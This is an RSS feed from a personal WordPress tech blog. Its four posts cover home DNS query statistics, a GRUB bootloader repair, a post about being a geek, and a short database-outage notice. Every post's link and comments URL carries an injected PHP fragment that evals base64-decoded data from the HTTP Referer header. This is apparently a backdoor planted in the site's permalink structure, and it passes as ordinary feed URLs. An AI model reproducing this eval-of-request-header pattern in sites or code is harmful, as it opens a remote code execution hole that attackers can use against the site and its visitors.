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	<title>Jesse &#187; Boring Tech Crap</title>
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	<link>http://www.jessecole.org</link>
	<description>A pointless blog lacking in substance.</description>
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		<title>dns queries</title>
		<link>http://www.jessecole.org/2008/01/17/dns-queries/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/01/17/dns-queries/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 18 Jan 2008 03:51:34 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Boring Tech Crap]]></category>
		<category><![CDATA[Interesting Tech Crap]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/index.php/2008/01/17/dns-queries/</guid>
		<description><![CDATA[In a previous post i explained how i run a server, etc. etc. Since i have absolutely nothing else to write about, i&#8217;m posting a part II of sorts for that post. This time its about the dns server i run. A few months ago i switched my internal network over to use my own [...]]]></description>
			<content:encoded><![CDATA[<p><strong>I</strong>n a previous post i explained how i run a server, etc. etc.  Since i have absolutely nothing else to write about, i&#8217;m posting a part II of sorts for that post.  This time its about the dns server i run.  A few months ago i switched my internal network over to use my own locally hosted dns server.  The following are the top queries its received from the internal hosts.</p>
<pre>
<table border="0">
<tr>
<td>16527</td>
<td width="5">&nbsp;</td>
<td>time.apple.com</td>
</tr>
<tr>
<td>16188</td>
<td>&nbsp;</td>
<td>www.google.com</td>
</tr>
<tr>
<td>4513</td>
<td>&nbsp;</td>
<td>weather.wapp.wii.com</td>
</tr>
<tr>
<td>4235</td>
<td>&nbsp;</td>
<td>ad.yieldmanager.com</td>
</tr>
<tr>
<td>2315</td>
<td>&nbsp;</td>
<td>news.wapp.wii.com</td>
</tr>
<tr>
<td>1907</td>
<td>&nbsp;</td>
<td>www.symantec.com</td>
</tr>
<tr>
<td>1852</td>
<td>&nbsp;</td>
<td>ad.doubleclick.net</td>
</tr>
<tr>
<td>1612</td>
<td>&nbsp;</td>
<td>105.0.168.192.in-addr.arpa</td>
</tr>
<tr>
<td>1347</td>
<td>&nbsp;</td>
<td>cfh.wapp.wii.com</td>
</tr>
<tr>
<td>1320</td>
<td>&nbsp;</td>
<td>202-177-19-148.kdd.net.hk.jessecole.org</td>
</tr>
</table>
</pre>
<p><strong>O</strong>k, we can see we have several very popular sites.  The first is not quite what you’d expect, its time.apple.com.  You don’t think about it but every computer and device you own likely keeps itself synchronized with a time server.  Every time it goes to synchronize, it has to do a dns lookup.  Actually this number is a tad distorted by the fact that my router decided it should update its time 10 or 11 times a day, (thank you Dlink).  I actually got sick of it a made it use the ip address for time.apple.com instead of the hostname so hopefully that number won’t go up so much.</p>
<p><strong>T</strong>he next most popular query is for www.google.com.  No surprise there.  Every time you type in the website or use the search bar in your browser and possibly even just visiting certain websites will cause a query to be performed.</p>
<p><strong>T</strong>he most interesting out of all these though is the fact that, in my top 10 queries, 2 of them (ad.yieldmanager.com and ad.doubleclick.com) are well known ad servers.  What a waste of time and bandwidth that is.  In the future, i may start blocking queries to well known ad sites just to avoid giving them stats on us.</p>
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		<item>
		<title>Slight Downtime</title>
		<link>http://www.jessecole.org/2007/12/26/slight-downtime/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2007/12/26/slight-downtime/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 26 Dec 2007 23:11:49 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Boring Tech Crap]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/index.php/2007/12/26/slight-downtime/</guid>
		<description><![CDATA[So, something happened to my linux box on christmas day. The short story is, the mbr somehow got screwed up and i had to reinstall grub to the mbr. The long story is that I was tired and didn&#8217;t feel like looking into it right then. I ran spinrite overnight (really aught to buy a [...]]]></description>
			<content:encoded><![CDATA[<p>So, something happened to my linux box on christmas day.  The short story is, the mbr somehow got screwed up and i had to reinstall grub to the mbr.</p>
<p>The long story is that I was tired and didn&#8217;t feel like looking into it right then.  I ran spinrite overnight (really aught to buy a legitimate copy of that) and went to sleep.  The next morning spinrite came up fine for all my hdd&#8217;s, system still wouldn&#8217;t boot.  So, i booted up my knoppix disc and did a file system check.  My / partition had a few errors which it fixed.  Reboot. Still won&#8217;t boot.  The system would come up to the point where i would usually see the 3 second timeout for grub and just do nothing.  This is where i decided to reinstall grub and see if that fixed it.  I booted into knoppix again ran grub and issued these commands.</p>
<pre>
root (hd0,0)

setup (hd0)

quit
</pre>
<p>hd0 is my first hdd.  ,0 specifies the partition (i have my /boot on sda1 and my / on sda2).  This fixed it and now i&#8217;m back in business.</p>
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		<item>
		<title>I&#8217;m a geek.</title>
		<link>http://www.jessecole.org/2007/12/10/im-a-geek/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2007/12/10/im-a-geek/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 01:44:15 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Boring Tech Crap]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/index.php/2007/12/10/im-a-geek/</guid>
		<description><![CDATA[I was perusing my google web history today when i noticed my top sites list. I don&#8217;t think anything could prove more that i&#8217;m a geek than my top clicked sites being things like wikipedia, thottbot (a world of warcraft database site), and tldp.org (the linux documentaion project). Leave a comment if you think you&#8217;ve [...]]]></description>
			<content:encoded><![CDATA[<p>I was perusing my google web history today when i noticed my top sites list.</p>
<p><a style="margin: 0pt 20px 2px 0pt; float: left" title="Geeky top sites." href="http://www.jessecole.org/wordpress/wp-content/uploads/2007/12/picture-1.png"><img src="http://www.jessecole.org/wordpress/wp-content/uploads/2007/12/picture-1.png" alt="Geeky top sites." width="189" height="224" /></a></p>
<p>I don&#8217;t think anything could prove more that i&#8217;m a geek than my top clicked sites being things like wikipedia, thottbot (a world of warcraft database site), and tldp.org (the linux documentaion project). Leave a comment if you think you&#8217;ve got one better (or are even reading this).</p>
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		<item>
		<title>Ok, i&#8217;m back</title>
		<link>http://www.jessecole.org/2007/08/15/ok-im-back/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2007/08/15/ok-im-back/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 15 Aug 2007 16:22:58 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Boring Tech Crap]]></category>

		<guid isPermaLink="false">http://jesses-ubuntu-pc.local/?p=6</guid>
		<description><![CDATA[I think something happened to the database, dont&#8217; worry, its fixed.]]></description>
			<content:encoded><![CDATA[<p>I think something happened to the database, dont&#8217; worry, its fixed.</p>
]]></content:encoded>
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